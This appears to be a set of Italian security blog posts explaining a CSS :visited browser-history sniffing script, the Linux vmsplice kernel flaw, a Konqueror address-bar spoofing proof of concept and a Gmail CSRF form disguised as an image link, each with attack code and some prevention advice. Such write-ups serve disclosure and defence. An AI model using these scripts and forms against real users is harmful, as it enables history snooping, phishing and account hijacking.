Css History Hack: discussione e prevenzione

histLa settimana scorsa è spuntato un post nel forum sla.ckers.org che ha attirato subito la mia attenzione. Vista l’impossibilità di accedere all’oggetto history per navigare tra i vari elementi della cronologia, si è pensato ad un metodo alternativo ma molto efficace per accedere ad essa.

Il funzionamento di base è molto semplice e si appoggia su di una funzionalità messa a disposizione dai browser di oggi attraverso i CSS: la specifica a:visited. Cerchiamo di capire meglio con un esempio:

<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.0 Transitional//EN”>
<html>
<head>
<title>Css history</title>
</head>
<body>
<script type=”text/javascript”>
var knownurls = [
http://www.google.it&#8217;, ‘http://www.myspace.com&#8217;,
http://www.yahoo.com&#8217;, ‘http://www.google.com&#8217;,
http://www.twitter.com&#8217;, ‘http://it.netlog.com&#8217;,
http://ha.ckers.org&#8217;, ‘http://seoblackhat.com&#8217;,
http://www.cgisecurity.com&#8217;,  , ‘http://www.facebook.com/home.php&#8217;
];
document.write( ‘<style type=”text/css”>a:link{color:#fff;}’ );
document.write( ‘a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}’ );
document.write( ‘{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style>’ );
var output = ‘<h1>Urls riconosciuti</h1><ul>’;
var c = document.createElement(‘div’);
document.body.appendChild(c)
for(i in knownurls){
var anchor=document.createElement(‘a’);
anchor.href=knownurls[i];
anchor.innerHTML=knownurls[i];
c.appendChild(anchor)
if(anchor.offsetHeight==1){
output+='<li>’+knownurls[i]+'</li>’;
}
}
document.write(output+'</ul>’);
</script>
</body>
</html>

Questa porzione di codice funziona più o meno in questo modo: ho una lista di url, li stampo in una pagina html e sfrutto il selettore visited. Se l’url è stato visitato dalla vittima, la specifica visited fa si che a quello specifico url vengano assegnate delle caratteristiche (via CSS) che lo rendano riconoscibile ed infine lo inserisce nel testo della pagina html. In questo modo aprendo questa pagina con il browser vedremo una lista di url contenente soltanto indirizzi già visitati .

Naturalmente, per ottenere una lista cospicua di siti visitati è bene aggiungere molti elementi all’array knownurls, ad esempio cercando tra  i siti più visitati dagli utenti di alcuni social bookmarking come delicious e digg.

Il codice javascript che riconosce questi url può essere facilmente nascosto ed utilizzato per lanciare automaticamente attacchi di tipo CSRF, poichè c’è una buona probabilità che l’utente abbia una sessione attiva in uno dei siti precedentemente visitati.

Altro pericoloso utilizzo di questa tecnica permette all’attaccante di ottenere un token di sessione propagato via url (una tecnica di protezione piuttosto ambigua che discuterò in un prossimo articolo) .

Alcuni sviluppatori inseriscono un token di conferma per ogni richiesta nell’url, così da rifiutare ogni richiesta non attendibile. Questo implica una diminuzione del traffico indesiderato e delle richieste non autorizzate, ma d’altra parte espone il token di sessione che potrebbe essere salvato dalla cronologia. Quest’ultima, come abbiamo visto, risulta essere vulnerabile quindi ci ritroveremmo con i nostri token di sessione esposti a favore dell’attaccante.

Quest’ultimo, una volta compreso il formato del token, potrebbe  con un semplice script javascript generare migliaia di token in pochi secondi, con una buona probabilità di ottenere il nostro token di sessione e quindi  accedere a dati sensibili.

Ci tengo a ribadire il concetto che session id e tokens sono strumenti di sicurezza, ma anche essi vanno protetti adeguatamente. Perciò vi consiglio di NON propagare il token di sessione via url ma di farlo attraverso campi nascosti di un form e di rigenerarlo il più possibile.

Se siamo utenti, possiamo ricorrere all’estensione per firefox SafeHistory che ci protegge dal tipo di attacco oggetto di questo articolo.

Annunci

Vulnerabilità del Kernel 2.6.17: Vmsplice()

Scoperta ormai da circa un mese, questa vulnerabilità permette l’esecuzione di codice arbitrario nella macchina vittima, a causa di un mancato controllo su di un puntatore user-defined.

G0tR00t

Ecco il listato di codice fs/splice.c) riguardante la vulnerabilità:


error = get_user(base, &iov->iov_base);
/* ... */
if (unlikely(!base)) {
error = -EFAULT;
break;
}
/* ... */
sd.u.userptr = base;
/* ... */
size = __splice_from_pipe(pipe, &sd, pipe_to_user);

In particolare, la funzione __splice_from_pipe() assume che i puntatori forniti come parametri siano validi. La funzione pipe_to_user() invece dereferenzia questi puntatori permettendo l’inclusione dati arbitrari nella memoria del Kernel.

Altre funzioni mancanti di validazione dei parametri sono
vmsplice_to_user()”, “get_iovec_page_array() e “copy_from_user_mmap_sem()”.

La vulnerabilità affligge le versioni del kernel comprese tra la 2.6.17 e 2.6.24.1 con il vmsplice() attivo, ma dopo la pubblicazione dell’exploit è stato subito rilasciato il kernel 2.6.24.2

Vulnerabilità Konqueror: SetInterval Function Address Bar URI Spoofing

Creando una pagina HTML appropriata, è possibile sfruttare una vulnerabilità di Konqueror per mettere la vittima dell’exploit davanti ad un URL “trusted” mentre si visualizza un documento che contiene codice maligno.

L’exploit si basa sulla funzione setInterval(), che esegue una funzione o testa una espressione ogni intervallo di tempo:

– setInterval(espressione, tempo)
– setInterval(funzione, tempo, [arg1, …, argN])
Dove:
– funzione è una qualsiasi funzione dichiarata nel documento;
– espressione è una stringa contenente una espressione JavaScript. L’espressione dev’essere quotata, altrimenti setInterval() la esegue immediatamente;
– tempo come già detto è un tempo espresso in millisecondi;
– arg1, …, argN sono opzionali e sono argomenti, se necessari, che vengono passati alla funzione.

Esaminiamo il seguente listato:

<FORM action="http://www.google.com/search" name="form"> 
	<INPUT TYPE=text NAME="q"><BR> 
	<INPUT TYPE=submit VALUE=Search onClick="a=0; location='http://www.google.com/search?q=' + document.form.q.value; return false;"> 
	</FORM> 

<SCRIPT LANGUAGE="JavaScript"> 

function foo() { 
	if (a==1) { 
		a=0; 
		window.location = "http://www.google.com/"; 
		a=1; 
	} 
} 
setInterval("foo()", 0); 

</SCRIPT>

Questo semplice form, non fa altro che refreshare continuamente la pagina contenente il codice javascript, lasciando il browser letteralmente intrappolato in essa mentre l’utente crede di aver cambiato posizione. In questo modo è possibile far credere all’utente di essere di fronte ad una pagina sicura e conosciuta, mentre si visualizza un documento qualsiasi, magari creato ad hoc per imitare un sito noto.
Questa vulnerabilità riguardale versioni 3.5.7 non patchate di Konqueror e potrebbe essere sfruttata ad esmepio per raccogliereusername e passwords delgi utenti Hotmail e Gmail, mostrando un URL autentico, ma una pagina clone dell’originale (occhio con i problemi legati all’utilizzo dei simboli coperti da Copyright).

Good Hacking e FATE I BRAVI (già che la gente fa schifo, almeno noi cerchiamo di migliorare il mondo , evitando di creare problemi agli altri).

Riferimenti:

GMail Hijacked!!

Di recente è stata scoperta una nuova vulnerabilità per Gmail, in particolare una tecnica di cross-site scripting, che permette di applicare un backdoor persistente senza che l’utente se ne accorga.
La tecnica consiste nel indirizzare l’utente verso una pagina creata ad-hoc che, sfruttando i dati di login dell’utente GMail (l’utente rimane loggato finchè esiste la sessione del browser), esegue una query particolare, cambiando le impostazioni dell’account . In questo modo, tramite dei campi hidden di un form qualsiasi, basta convincere la vittima ad attivare il form e la richiesta elaborata dal sito maligno verrà eseguita.
La pericolosità di questa tecnica sta nel fatto che non necessita di Javascript, quindi i filtri NoScript non hanno effetto; anche se su questo argomento cè un lungo dibattito tra Giorgo Maone (creatore del plugin di molti plugin per Firefox tra cui NoScript ed esperto di sicurezza) e chi sostiene la criticità della falla Gmail.

Ecco un esempio di form HTML in grado di eseguire la richiesta di aplpicazione del filtro:

Clicca sull'immagine per zoomare<br><br> 

<form action="http://mail.google.com/qualcosa/qualcosaltro.py" method="POST"> 

<input type="text" name="parematro1" value="valore1" style="display: none;" /> 

<input type="text" name="parametro2" value="valore2" style="display: none;" /> 

<input type="image" src="http://nosodove.org/tette.jpg" mce_src="http://nosodove.org/tette.jpg" value="Login"> 

</form>

Questo form potrebbe permettere di ingrandire l’immagine, e se leggete il nome del file .jpg, credo che l’idea avrebbe successo XD, cmq il click innesterebbe l’invio dei dati del form, che, con una appropriata query, potrebbe cambiare le impostazioni del vostro account GMail, ad esempio filtrando le email e reindirizzandole verso un altro indirizzo…. non credo che ne sareste felici.

Questa vulnerabilità è nota e google è nota per la tempestività delle sue patch, non dovreste avere problemi di alcuin tipo… ma se volete stare al sicuro evitate di navigare mentre siete loggati in GMail e controllate le impostazioni dell’account periodicamente! non credo che questa sia l’ultima velnerabilità GMail.